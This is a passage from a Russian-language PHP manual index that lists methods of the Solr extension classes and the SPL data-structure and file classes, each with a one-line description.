    • SolrDocument::sort - Сортирует поля в документе
    • SolrDocument::toArray - Возвращает представление массива документа
    • SolrDocument::unserialize - Пользовательская сериализация объектов SolrDocument
    • SolrDocument::valid - Проверяет, является ли текущая позиция внутренне корректной
    • SolrDocument::__clone - Создаёт копию объекта SolrDocument
    • SolrDocument::__construct - Конструктор
    • SolrDocument::__destruct - Деструктор
    • SolrDocument::__get - Доступ к полю как свойству
    • SolrDocument::__isset - Проверяет, существует ли поле
    • SolrDocument::__set - Добавляет ещё одно поле в документ
    • SolrDocument::__unset - Удаляет поле из документа
    • SolrDocumentField::__construct - Конструктор
    • SolrDocumentField::__destruct - Деструктор
    • SolrException::getInternalInfo - Возвращает внутреннюю информацию о том, где было выброшено исключение
    • SolrGenericResponse::__construct - Конструктор
    • SolrGenericResponse::__destruct - Деструктор
    • SolrIllegalArgumentException::getInternalInfo - Возвращает внутреннюю информацию о том, где было выброшено исключение
    • SolrIllegalOperationException::getInternalInfo - Возвращает внутреннюю информацию о том, где было выброшено исключение
    • SolrInputDocument::addChildDocument - Добавляет дочерний документ для блочной индексации
    • SolrInputDocument::addChildDocuments - Добавляет массив дочерних документов
    • SolrInputDocument::addField - Добавляет поле в документ
    • SolrInputDocument::clear - Сбрасывает входной документ
    • SolrInputDocument::deleteField - Удаляет поле из документа
    • SolrInputDocument::fieldExists - Проверяет, существует ли поле
    • SolrInputDocument::getBoost - Получает текущее значение повышения для документа
    • SolrInputDocument::getChildDocuments - Возвращает массив дочерних документов (SolrInputDocument)
    • SolrInputDocument::getChildDocumentsCount - Возвращает количество дочерних документов
    • SolrInputDocument::getField - Получает поле по имени
    • SolrInputDocument::getFieldBoost - Получает значение повышения для определённого поля
    • SolrInputDocument::getFieldCount - Возвращает количество полей в документе
    • SolrInputDocument::getFieldNames - Возвращает массив, содержащий все поля в документе
    • SolrInputDocument::hasChildDocuments - Возвращает true, если у документа есть дочерние документы
    • SolrInputDocument::merge - Объединяет один входной документ в другой
    • SolrInputDocument::reset - Псевдоним SolrInputDocument::clear
    • SolrInputDocument::setBoost - Устанавливает значение повышения для документа
    • SolrInputDocument::setFieldBoost - Устанавливает значение повышения индекса времени для поля
    • SolrInputDocument::sort - Сортирует поля в документе
    • SolrInputDocument::toArray - Возвращает представление массива входного документа
    • SolrInputDocument::__clone - Создаёт копию SolrDocument
    • SolrInputDocument::__construct - Конструктор
    • SolrInputDocument::__destruct - Деструктор
    • SolrModifiableParams::__construct - Конструктор
    • SolrModifiableParams::__destruct - Деструктор
    • SolrObject::getPropertyNames - Возвращает массив всех имён свойств
    • SolrObject::offsetExists - Проверяет, существует ли свойство
    • SolrObject::offsetGet - Используется для получения свойства
    • SolrObject::offsetSet - Устанавливает значение свойства
    • SolrObject::offsetUnset - Сбрасывает значение свойства
    • SolrObject::__construct - Создаёт объект Solr
    • SolrObject::__destruct - Деструктор
    • SolrParams::add - Псевдоним SolrParams::addParam
    • SolrParams::addParam - Добавляет параметр к объекту
    • SolrParams::get - Псевдоним SolrParams::getParam
    • SolrParams::getParam - Возвращает значение параметра
    • SolrParams::getParams - Возвращает массив параметров, не в URL-закодированном виде
    • SolrParams::getPreparedParams - Возвращает массив параметров в URL-закодированном виде
    • SolrParams::serialize - Используется для пользовательской сериализации
    • SolrParams::set - Псевдоним SolrParams::setParam
    • SolrParams::setParam - Устанавливает параметр на указанное значение
    • SolrParams::toString - Возвращает все параметры объекта в виде пар имя-значение
    • SolrParams::unserialize - Используется для пользовательской сериализации
    • SolrPingResponse::getResponse - Возвращает ответ от сервера
    • SolrPingResponse::__construct - Конструктор
    • SolrPingResponse::__destruct - Деструктор
    • SolrQuery::addExpandFilterQuery - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
    • SolrQuery::addExpandSortField - Упорядочивает документы в расширенных группах (параметр expand.sort)
    • SolrQuery::addFacetDateField - Карты для facet.date
    • SolrQuery::addFacetDateOther - Добавляет ещё один параметр facet.date.other
    • SolrQuery::addFacetField - Добавляет другое поле к фасету
    • SolrQuery::addFacetQuery - Добавляет фасетный запрос
    • SolrQuery::addField - Указывает, какие поля возвращать в результате
    • SolrQuery::addFilterQuery - Определяет запрос фильтра
    • SolrQuery::addGroupField - Добавляет поле, которое будет использоваться для группировки результатов
    • SolrQuery::addGroupFunction - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
    • SolrQuery::addGroupQuery - Позволяет группировать документы, соответствующие данному запросу
    • SolrQuery::addGroupSortField - Добавляет поле сортировки группы (параметр group.sort)
    • SolrQuery::addHighlightField - Соответствует hl.fl
    • SolrQuery::addMltField - Устанавливает поле для использования для подобия
    • SolrQuery::addMltQueryField - Соответствует mlt.qf
    • SolrQuery::addSortField - Используется для управления сортировкой результатов
    • SolrQuery::addStatsFacet - Запрашивает возврат вспомогательных результатов для значений в данном фасете
    • SolrQuery::addStatsField - Соответствует параметру stats.field
    • SolrQuery::collapse - Сворачивает набор результатов до одного документа на группу
    • SolrQuery::getExpand - Возвращает true, если включено расширение группы
    • SolrQuery::getExpandFilterQueries - Возвращает запросы расширенного фильтра
    • SolrQuery::getExpandQuery - Возвращает параметр расширенного запроса expand.q
    • SolrQuery::getExpandRows - Возвращает количество строк, отображаемых в каждой группе (expand.rows)
    • SolrQuery::getExpandSortFields - Возвращает массив полей
    • SolrQuery::getFacet - Возвращает значение параметра фасета
    • SolrQuery::getFacetDateEnd - Возвращает значение параметра facet.date.end
    • SolrQuery::getFacetDateFields - Возвращает все поля facet.date
    • SolrQuery::getFacetDateGap - Возвращает значение параметра facet.date.gap
    • SolrQuery::getFacetDateHardEnd - Возвращает значение параметра facet.date.hardend
    • SolrQuery::getFacetDateOther - Возвращает значение параметра facet.date.other
    • SolrQuery::getFacetDateStart - Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле
    • SolrQuery::getFacetFields - Возвращает все поля фасетов
    • SolrQuery::getFacetLimit - Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета
    • SolrQuery::getFacetMethod - Возвращает значение параметра facet.method
    • SolrQuery::getFacetMinCount - Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ
    • SolrQuery::getFacetMissing - Возвращает текущее состояние параметра facet.missing
    • SolrQuery::getFacetOffset - Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации
    • SolrQuery::getFacetPrefix - Возвращает префикс фасета
    • SolrQuery::getFacetQueries - Возвращает все фасетные запросы
    • SolrQuery::getFacetSort - Возвращает тип сортировки фасета
    • SolrQuery::getFields - Возвращает список полей, которые будут возвращены в ответе
    • SolrQuery::getFilterQueries - Возвращает массив запросов фильтра
    • SolrQuery::getGroup - Возвращает true, если группировка включена
    • SolrQuery::getGroupCachePercent - Возвращает процентное значение группового кеша
    • SolrQuery::getGroupFacet - Возвращает значение параметра group.facet
    • SolrQuery::getGroupFields - Возвращает групповые поля (значения параметра group.field)
    • SolrQuery::getGroupFormat - Возвращает значение group.format
    • SolrQuery::getGroupFunctions - Возвращает групповые функции (значения параметров group.func)
    • SolrQuery::getGroupLimit - Возвращает значение group.limit
    • SolrQuery::getGroupMain - Возвращает значение group.main
    • SolrQuery::getGroupNGroups - Возвращает значение group.ngroups
    • SolrQuery::getGroupOffset - Возвращает значение group.offset
    • SolrQuery::getGroupQueries - Возвращает все значения параметра group.query
    • SolrQuery::getGroupSortFields - Возвращает значение group.sort
    • SolrQuery::getGroupTruncate - Возвращает значение group.truncate
    • SolrQuery::getHighlight - Возвращает состояние параметра hl
    • SolrQuery::getHighlightAlternateField - Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию
    • SolrQuery::getHighlightFields - Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты
    • SolrQuery::getHighlightFormatter - Возвращает средство форматирования для выделенного вывода
    • SolrQuery::getHighlightFragmenter - Возвращает генератор фрагментов текста для выделенного текста
    • SolrQuery::getHighlightFragsize - Возвращает количество символов фрагментов для выделения
    • SolrQuery::getHighlightHighlightMultiTerm - Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов
    • SolrQuery::getHighlightMaxAlternateFieldLength - Возвращает максимальное количество символов поля для возврата
    • SolrQuery::getHighlightMaxAnalyzedChars - Возвращает максимальное количество символов в документе для поиска подходящих фрагментов
    • SolrQuery::getHighlightMergeContiguous - Возвращает, свернуть ли смежные фрагменты в один фрагмент
    • SolrQuery::getHighlightRegexMaxAnalyzedChars - Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения
    • SolrQuery::getHighlightRegexPattern - Возвращает регулярное выражение для фрагментации
    • SolrQuery::getHighlightRegexSlop - Возвращает коэффициент отклонения от идеального размера фрагмента
    • SolrQuery::getHighlightRequireFieldMatch - Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю
    • SolrQuery::getHighlightSimplePost - Возвращает текст, который появляется после выделенного выражения
    • SolrQuery::getHighlightSimplePre - Возвращает текст, который появляется перед выделенным выражением
    • SolrQuery::getHighlightSnippets - Возвращает максимальное количество выделенных фрагментов для создания для каждого поля
    • SolrQuery::getHighlightUsePhraseHighlighter - Возвращает состояние параметра hl.usePhraseHighlighter
    • SolrQuery::getMlt - Возвращает, должны ли быть включены результаты MoreLikeThis
    • SolrQuery::getMltBoost - Возвращает, будет ли запрос усилен релевантностью интересующего выражения
    • SolrQuery::getMltCount - Возвращает количество похожих документов, возвращаемых для каждого результата
    • SolrQuery::getMltFields - Возвращает все поля, которые нужно использовать для сравнения
    • SolrQuery::getMltMaxNumQueryTerms - Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос
    • SolrQuery::getMltMaxNumTokens - Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector
    • SolrQuery::getMltMaxWordLength - Возвращает максимальную длину слова, выше которой слова будут игнорироваться
    • SolrQuery::getMltMinDocFrequency - Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов
    • SolrQuery::getMltMinTermFrequency - Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе
    • SolrQuery::getMltMinWordLength - Возвращает минимальную длину слова, ниже которой слова будут игнорироваться
    • SolrQuery::getMltQueryFields - Возвращает поля запроса и их повышения
    • SolrQuery::getQuery - Возвращает основной запрос
    • SolrQuery::getRows - Возвращает максимальное количество документов
    • SolrQuery::getSortFields - Возвращает все поля сортировки
    • SolrQuery::getStart - Возвращает смещение в полном наборе результатов
    • SolrQuery::getStats - Возвращает, включена ли статистика
    • SolrQuery::getStatsFacets - Возвращает все фасеты статистики, которые были установлены
    • SolrQuery::getStatsFields - Возвращает все поля статистики
    • SolrQuery::getTerms - Возвращает, включён ли TermsComponent
    • SolrQuery::getTermsField - Возвращает поле, из которого извлекаются выражения
    • SolrQuery::getTermsIncludeLowerBound - Возвращает, нужно ли включать выражение нижней границы в набор результатов
    • SolrQuery::getTermsIncludeUpperBound - Возвращает, нужно ли включать выражение верхней границы в набор результатов
    • SolrQuery::getTermsLimit - Возвращает максимальное количество выражений, которые должна вернуть Solr
    • SolrQuery::getTermsLowerBound - Возвращает выражение для начала
    • SolrQuery::getTermsMaxCount - Возвращает максимальную частоту документа
    • SolrQuery::getTermsMinCount - Возвращает минимальную частоту возврата документов для включения
    • SolrQuery::getTermsPrefix - Возвращает префикс выражения
    • SolrQuery::getTermsReturnRaw - Следует ли возвращать необработанные символы
    • SolrQuery::getTermsSort - Возвращает целое число, указывающее, как сортируются выражения
    • SolrQuery::getTermsUpperBound - Возвращает выражение для остановки
    • SolrQuery::getTimeAllowed - Возвращает время в миллисекундах, разрешённое для завершения запроса
    • SolrQuery::removeExpandFilterQuery - Удаляет запрос расширенного фильтра
    • SolrQuery::removeExpandSortField - Удаляет расширенное поле сортировки из параметра expand.sort
    • SolrQuery::removeFacetDateField - Удаляет одно из полей даты фасета
    • SolrQuery::removeFacetDateOther - Удаляет один из параметров facet.date.other
    • SolrQuery::removeFacetField - Удаляет один из параметров facet.date
    • SolrQuery::removeFacetQuery - Удаляет один из параметров facet.query
    • SolrQuery::removeField - Удаляет поле из списка полей
    • SolrQuery::removeFilterQuery - Удаляет запрос фильтра
    • SolrQuery::removeHighlightField - Удаляет одно из полей, используемых для выделения
    • SolrQuery::removeMltField - Удаляет одно из полей moreLikeThis
    • SolrQuery::removeMltQueryField - Удаляет одно из полей запроса moreLikeThis
    • SolrQuery::removeSortField - Удаляет одно из полей сортировки
    • SolrQuery::removeStatsFacet - Удаляет один из параметров stats.facet
    • SolrQuery::removeStatsField - Удаляет один из параметров stats.field
    • SolrQuery::setEchoHandler - Переключает параметр echoHandler
    • SolrQuery::setEchoParams - Определяет, какие параметры включать в ответ
    • SolrQuery::setExpand - Включает/отключает компонент Expand
    • SolrQuery::setExpandQuery - Устанавливает параметр expand.q
    • SolrQuery::setExpandRows - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
    • SolrQuery::setExplainOther - Устанавливает общий параметр запроса explainOther
    • SolrQuery::setFacet - Соответствует параметру фасета. Включает или отключает фасетирование
    • SolrQuery::setFacetDateEnd - Соответствует facet.date.end
    • SolrQuery::setFacetDateGap - Соответствует facet.date.gap
    • SolrQuery::setFacetDateHardEnd - Соответствует facet.date.hardend
    • SolrQuery::setFacetDateStart - Соответствует facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency - Устанавливает минимальную частоту документа, используемую для определения количества выражений
    • SolrQuery::setFacetLimit - Соответствует facet.limit
    • SolrQuery::setFacetMethod - Задаёт тип алгоритма, который следует использовать при фасетировании поля
    • SolrQuery::setFacetMinCount - Соответствует facet.mincount
    • SolrQuery::setFacetMissing - Соответствует facet.missing
    • SolrQuery::setFacetOffset - Устанавливает смещение в список ограничений для разбивки на страницы
    • SolrQuery::setFacetPrefix - Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет
    • SolrQuery::setFacetSort - Определяет порядок ограничений поля фасета
    • SolrQuery::setGroup - Включает/отключает группировку результатов (параметр group)
    • SolrQuery::setGroupCachePercent - Включает кеширование для группировки результатов
    • SolrQuery::setGroupFacet - Устанавливает параметр group.facet
    • SolrQuery::setGroupFormat - Устанавливает формат группы, структуру результата (параметр group.format)
    • SolrQuery::setGroupLimit - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
    • SolrQuery::setGroupMain - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
    • SolrQuery::setGroupNGroups - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
    • SolrQuery::setGroupOffset - Устанавливает параметр group.offset
    • SolrQuery::setGroupTruncate - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
    • SolrQuery::setHighlight - Включает или отключает выделение
    • SolrQuery::setHighlightAlternateField - Задаёт поле резервного копирования для использования
    • SolrQuery::setHighlightFormatter - Задаёт средство форматирования для вывода выделения
    • SolrQuery::setHighlightFragmenter - Устанавливает генератор текстовых фрагментов для выделенного текста
    • SolrQuery::setHighlightFragsize - Размер фрагментов, которые следует учитывать при выделении
    • SolrQuery::setHighlightHighlightMultiTerm - Использовать SpanScorer для выделения выражений
    • SolrQuery::setHighlightMaxAlternateFieldLength - Устанавливает максимальное количество символов поля для возврата
    • SolrQuery::setHighlightMaxAnalyzedChars - Задаёт количество символов в документе для поиска подходящих фрагментов
    • SolrQuery::setHighlightMergeContiguous - Свёртывать ли смежные фрагменты в один фрагмент
    • SolrQuery::setHighlightRegexMaxAnalyzedChars - Задаёт максимальное количество символов для анализа
    • SolrQuery::setHighlightRegexPattern - Задаёт регулярное выражение для фрагментации
    • SolrQuery::setHighlightRegexSlop - Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента
    • SolrQuery::setHighlightRequireFieldMatch - Требовать сопоставления полей при выделении
    • SolrQuery::setHighlightSimplePost - Устанавливает текст, который появляется после выделенного выражения
    • SolrQuery::setHighlightSimplePre - Устанавливает текст, который появляется перед выделенным выражением
    • SolrQuery::setHighlightSnippets - Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля
    • SolrQuery::setHighlightUsePhraseHighlighter - Следует ли выделять выражения только тогда, когда они появляются во фразе запроса
    • SolrQuery::setMlt - Включает или отключает moreLikeThis
    • SolrQuery::setMltBoost - Устанавливает, будет ли запрос усилен релевантностью интересного выражения
    • SolrQuery::setMltCount - Устанавливает количество похожих документов, возвращаемых для каждого результата
    • SolrQuery::setMltMaxNumQueryTerms - Устанавливает максимальное количество включаемых выражений запроса
    • SolrQuery::setMltMaxNumTokens - Задаёт максимальное количество токенов для анализа
    • SolrQuery::setMltMaxWordLength - Устанавливает максимальную длину слова
    • SolrQuery::setMltMinDocFrequency - Устанавливает частоту mltMinDoc
    • SolrQuery::setMltMinTermFrequency - Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации
    • SolrQuery::setMltMinWordLength - Устанавливает минимальную длину слова
    • SolrQuery::setOmitHeader - Исключает заголовок из возвращаемых результатов
    • SolrQuery::setQuery - Устанавливает поисковый запрос
    • SolrQuery::setRows - Задаёт максимальное количество строк, возвращаемых в результате
    • SolrQuery::setShowDebugInfo - Флаг для отображения отладочной информации
    • SolrQuery::setStart - Определяет количество пропускаемых строк
    • SolrQuery::setStats - Включает или отключает компонент Stats
    • SolrQuery::setTerms - Включает или отключает TermsComponent
    • SolrQuery::setTermsField - Устанавливает имя поля, из которого нужно получить выражение
    • SolrQuery::setTermsIncludeLowerBound - Включает нижнюю границу выражения в набор результатов
    • SolrQuery::setTermsIncludeUpperBound - Включает верхнюю границу выражения в набор результатов
    • SolrQuery::setTermsLimit - Устанавливает максимальное количество возвращаемых выражений
    • SolrQuery::setTermsLowerBound - Определяет выражение, с которого нужно начинать
    • SolrQuery::setTermsMaxCount - Устанавливает максимальную частоту документов
    • SolrQuery::setTermsMinCount - Устанавливает минимальную частоту документов
    • SolrQuery::setTermsPrefix - Ограничивает совпадения выражениями, начинающимися с префикса
    • SolrQuery::setTermsReturnRaw - Вернуть необработанные символы проиндексированного выражения
    • SolrQuery::setTermsSort - Определяет, как сортировать возвращённые условия
    • SolrQuery::setTermsUpperBound - Устанавливает условие для остановки
    • SolrQuery::setTimeAllowed - Время, отведённое на поиск
    • SolrQuery::__construct - Конструктор
    • SolrQuery::__destruct - Деструктор
    • SolrQueryResponse::__construct - Конструктор
    • SolrQueryResponse::__destruct - Деструктор
    • SolrResponse::getDigestedResponse - Возвращает ответ XML как сериализованные данные PHP
    • SolrResponse::getHttpStatus - Возвращает HTTP-статус ответа
    • SolrResponse::getHttpStatusMessage - Возвращает более подробную информацию о статусе HTTP
    • SolrResponse::getRawRequest - Возвращает необработанный запрос, отправленный на сервер Solr
    • SolrResponse::getRawRequestHeaders - Возвращает необработанные заголовки запроса, отправленные на сервер Solr
    • SolrResponse::getRawResponse - Возвращает необработанный ответ с сервера
    • SolrResponse::getRawResponseHeaders - Возвращает необработанные заголовки ответа с сервера
    • SolrResponse::getRequestUrl - Возвращает полный URL-адрес, на который был отправлен запрос
    • SolrResponse::getResponse - Возвращает SolrObject, представляющий ответ XML от сервера
    • SolrResponse::setParseMode - Устанавливает режим разбора
    • SolrResponse::success - Был ли запрос успешным?
    • SolrServerException::getInternalInfo - Возвращает внутреннюю информацию о том, где было выброшено исключение
    • SolrUpdateResponse::__construct - Конструктор
    • SolrUpdateResponse::__destruct - Деструктор
    • SolrUtils::digestXmlResponse - Преобразовывает XML-строку ответа в объект SolrObject
    • SolrUtils::escapeQueryChars - Экранирует строку запроса Lucene
    • SolrUtils::getSolrVersion - Возвращает текущую версию модуля Solr
    • SolrUtils::queryPhrase - Подготавливает фразу из неэкранированной строки запроса Lucene
    • solr_get_version - Возвращает текущую версию модуля Apache Solr
    • sort - Сортирует массив по возрастанию
    • soundex - Возвращает ключ soundex для строки
    • SplDoublyLinkedList::add - Добавляет/вставляет новое значение по указанному индексу
    • SplDoublyLinkedList::bottom - Получает узел, находящийся в начале двусвязного списка
    • SplDoublyLinkedList::count - Подсчитывает количество элементов в двусвязном списке
    • SplDoublyLinkedList::current - Возвращает текущий элемент массива
    • SplDoublyLinkedList::getIteratorMode - Возвращает режим итерации
    • SplDoublyLinkedList::isEmpty - Проверяет, является ли двусвязный список пустым
    • SplDoublyLinkedList::key - Возвращает индекс текущего узла
    • SplDoublyLinkedList::next - Перемещает итератор к следующему элементу
    • SplDoublyLinkedList::offsetExists - Проверяет, существует ли запрашиваемый индекс
    • SplDoublyLinkedList::offsetGet - Возвращает значение по указанному индексу
    • SplDoublyLinkedList::offsetSet - Устанавливает значение по заданному индексу $index в $value
    • SplDoublyLinkedList::offsetUnset - Удаляет значение по указанному индексу $index
    • SplDoublyLinkedList::pop - Удаляет (выталкивает) узел, находящийся в конце двусвязного списка
    • SplDoublyLinkedList::prev - Перемещает итератор к предыдущему элементу
    • SplDoublyLinkedList::push - Помещает элемент в конец двусвязного списка
    • SplDoublyLinkedList::rewind - Возвращает итератор в начало
    • SplDoublyLinkedList::serialize - Сериализует хранилище
    • SplDoublyLinkedList::setIteratorMode - Устанавливает режим итерации
    • SplDoublyLinkedList::shift - Удаляет узел, находящийся в начале двусвязного списка
    • SplDoublyLinkedList::top - Получает узел, находящийся в конце двусвязного списка
    • SplDoublyLinkedList::unserialize - Десериализует хранилище
    • SplDoublyLinkedList::unshift - Вставляет элемент в начало двусвязного списка
    • SplDoublyLinkedList::valid - Проверяет, содержит ли узлы двусвязный список
    • SplFileInfo::getATime - Получает время последнего доступа к файлу
    • SplFileInfo::getBasename - Получает базовое имя файла
    • SplFileInfo::getCTime - Возвращает время последнего изменения индексного дескриптора файла
    • SplFileInfo::getExtension - Получает расширение файла
    • SplFileInfo::getFileInfo - Получает объект SplFileInfo для файла
    • SplFileInfo::getFilename - Получает имя файла
    • SplFileInfo::getGroup - Получает группу файла
    • SplFileInfo::getInode - Получает индексный дескриптор для файла
    • SplFileInfo::getLinkTarget - Получает путь ссылки
    • SplFileInfo::getMTime - Получает время последнего изменения
    • SplFileInfo::getOwner - Получает владельца файла
    • SplFileInfo::getPath - Получает путь без имени файла
    • SplFileInfo::getPathInfo - Получает объект SplFileInfo для заданного пути
    • SplFileInfo::getPathname - Получает путь к файлу
    • SplFileInfo::getPerms - Получает список разрешений
    • SplFileInfo::getRealPath - Получает абсолютный путь к файлу
    • SplFileInfo::getSize - Получает размер файла
    • SplFileInfo::getType - Получает тип файла
    • SplFileInfo::isDir - Указывает, является ли файл каталогом
    • SplFileInfo::isExecutable - Указывает, является ли файл исполняемым
    • SplFileInfo::isFile - Указывает, ссылается ли объект на обычный файл
    • SplFileInfo::isLink - Указывает, является ли файл ссылкой
    • SplFileInfo::isReadable - Указывает, является ли файл доступным для чтения
    • SplFileInfo::isWritable - Указывает, является ли файл доступным для записи
    • SplFileInfo::openFile - Получает объект SplFileObject для файла
    • SplFileInfo::setFileClass - Задаёт имя класса, который будет использоваться методом SplFileInfo::openFile
    • SplFileInfo::setInfoClass - Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo
    • SplFileInfo::__construct - Создать новый объект SplFileInfo
    • SplFileInfo::__toString - Возвращает путь к файлу в виде строки
    • SplFileObject::current - Получить текущую строки файла
    • SplFileObject::eof - Проверяет, достигнут ли конец файла
    • SplFileObject::fflush - Сбрасывает буфер вывода в файл
    • SplFileObject::fgetc - Получает символ из файла
    • SplFileObject::fgetcsv - Получает строку из указателя файла и анализирует её на CSV-поля
    • SplFileObject::fgets - Получает строку из файла
    • SplFileObject::fgetss - Получает строку из файла и удаляет HTML-теги
    • SplFileObject::flock - Блокирует файл методом переносимой блокировки
    • SplFileObject::fpassthru - Выводит всё оставшееся содержимое файла в выходной поток
    • SplFileObject::fputcsv - Записать массив полей в виде строки CSV
    • SplFileObject::fread - Чтение из файла
    • SplFileObject::fscanf - Разбирает строку файла в соответствии с заданным форматом
    • SplFileObject::fseek - Перевод файлового указателя на заданную позицию
    • SplFileObject::fstat - Получает информацию о файле
    • SplFileObject::ftell - Вернуть текущую позицию файлового указателя
    • SplFileObject::ftruncate - Обрезает файл до заданной длины
    • SplFileObject::fwrite - Запись в файл
    • SplFileObject::getChildren - Метод-заглушка
    • SplFileObject::getCsvControl - Получает разделитель, ограничитель и символ экранирования для файла CSV
    • SplFileObject::getCurrentLine - Псевдоним SplFileObject::fgets
    • SplFileObject::getFlags - Получает флаги настройки объекта SplFileObject
    • SplFileObject::getMaxLineLen - Получить максимальную длину строки
    • SplFileObject::hasChildren - Класс SplFileObject не имеет наследников
    • SplFileObject::key - Получает номер строки
    • SplFileObject::next - Читать следующую строку
    • SplFileObject::rewind - Перемотка файлового указателя в начало файла
    • SplFileObject::seek - Перевод файлового указателя на заданную строку
    • SplFileObject::setCsvControl - Устанавливает символы разделителя, обёртывания и экранирования для CSV
    • SplFileObject::setFlags - Устанавливает флаги для SplFileObject
    • SplFileObject::setMaxLineLen - Устанавливает максимальную длину строки
    • SplFileObject::valid - Проверяет, достигнут ли конец файла (EOF)
    • SplFileObject::__construct - Создаёт объект SplFileObject
    • SplFileObject::__toString - Возвращает текущую строку в виде строки
    • SplFixedArray::count - Возвращает размер массива
    • SplFixedArray::current - Возвращает текущий элемент массива
    • SplFixedArray::fromArray - Импортирует PHP-массив в объект класса SplFixedArray
    • SplFixedArray::getIterator - Получает итератор для перехода по массиву
    • SplFixedArray::getSize - Получает размер массива
    • SplFixedArray::jsonSerialize - Возвращает представление, которое может быть преобразовано в JSON
    • SplFixedArray::key - Возвращает индекс текущего элемента массива
    • SplFixedArray::next - Переходит к следующему элементу массива
    • SplFixedArray::offsetExists - Возвращает факт наличия указанного индекса массива
    • SplFixedArray::offsetGet - Возвращает значение по указанному индексу
    • SplFixedArray::offsetSet - Устанавливает новое значение по заданному индексу
    • SplFixedArray::offsetUnset - Удаляет значение по индексу $index
    • SplFixedArray::rewind - Устанавливает итератор массива в начало
    • SplFixedArray::setSize - Изменяет размер массива
    • SplFixedArray::toArray - Возвращает обычный PHP-массив со значениями фиксированного массива
    • SplFixedArray::valid - Проверяет массив на наличие элементов
    • SplFixedArray::__construct - Создаёт новый массив фиксированной длины
    • SplFixedArray::__serialize - Сериализует объект SplFixedArray
    • SplFixedArray::__unserialize - Десериализует параметр data в объект SplFixedArray
    • SplFixedArray::__wakeup - Переинициализация массива после десериализации
    • SplHeap::compare - Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче
    • SplHeap::count - Определяет количество элементов в куче
    • SplHeap::current - Возвращает текущий узел, на который указывает итератор
    • SplHeap::extract - Извлекает узел из кучи и пересортирует её
    • SplHeap::insert - Вставляет элемент в кучу и пересортирует её
    • SplHeap::isCorrupted - Указывает, находится ли куча в повреждённом состоянии
    • SplHeap::isEmpty - Проверка, пуста ли куча
    • SplHeap::key - Возвращает индекс текущего узла
    • SplHeap::next - Переход к следующему узлу
    • SplHeap::recoverFromCorruption - Восстанавливает корректное состояние кучи
    • SplHeap::rewind - Перевод итератора на начало
    • SplHeap::top - Возвращает узел, находящийся на вершине кучи
    • SplHeap::valid - Проверяет, содержит ли куча ещё элементы
    • SplMaxHeap::compare - Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче
    • SplMinHeap::compare - Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче
    • SplObjectStorage::addAll - Добавляет все объекты из другого контейнера
    • SplObjectStorage::attach - Добавляет объект в контейнер
    • SplObjectStorage::contains - Проверяет, содержит ли контейнер заданный объект
    • SplObjectStorage::count - Возвращает количество объектов в контейнере
    • SplObjectStorage::current - Возвращает текущий объект
    • SplObjectStorage::detach - Удаляет объект object из контейнера
    • SplObjectStorage::getHash - Вычисляет уникальный идентификатор для объектов контейнера
    • SplObjectStorage::getInfo - Возвращает данные, ассоциированные с текущим объектом
    • SplObjectStorage::key - Возвращает индекс текущего положения итератора
    • SplObjectStorage::next - Переход к следующему объекту
    • SplObjectStorage::offsetExists - Проверяет, существует ли объект в контейнере
    • SplObjectStorage::offsetGet - Возвращает данные, ассоциированные с объектом object
    • SplObjectStorage::offsetSet - Ассоциирует данные с объектом в контейнере
    • SplObjectStorage::offsetUnset - Удаляет объект из контейнера
    • SplObjectStorage::removeAll - Удаляет из текущего контейнера объекты, которые есть в другом контейнере
    • SplObjectStorage::removeAllExcept - Удаляет из текущего контейнера все объекты, которых нет в другом контейнере
    • SplObjectStorage::rewind - Переводит итератор на первый элемент контейнера
    • SplObjectStorage::serialize - Сериализует контейнер
    • SplObjectStorage::setInfo - Ассоциирует данные с текущим объектом контейнера
    • SplObjectStorage::unserialize - Восстанавливает сериализованый контейнер из строки
    • SplObjectStorage::valid - Определяет, допустимо ли текущее значение итератора
    • SplObserver::update - Получить обновление от субъекта
    • SplPriorityQueue::compare - Сравнивает приоритеты для корректного помещения элементов в очередь
    • SplPriorityQueue::count - Производит подсчёт элементов в очереди
    • SplPriorityQueue::current - Возвращает текущий узел, на который указывает итератор
    • SplPriorityQueue::extract - Извлекает узел из начала очереди и пересортирует её
    • SplPriorityQueue::getExtractFlags - Получить флаги извлечения
    • SplPriorityQueue::insert - Добавляет элемент в очередь и пересортирует её
    • SplPriorityQueue::isCorrupted - Указывает, находится ли приоритетная очередь в повреждённом состоянии
    • SplPriorityQueue::isEmpty - Проверяет, является ли очередь пустой
    • SplPriorityQueue::key - Возвращает индекс текущего узла
    • SplPriorityQueue::next - Переход к следующему узлу
    • SplPriorityQueue::recoverFromCorruption - Восстанавливает корректное состояние очереди
    • SplPriorityQueue::rewind - Переводит итератор на начало очереди
    • SplPriorityQueue::setExtractFlags - Задаёт режим извлечения узлов
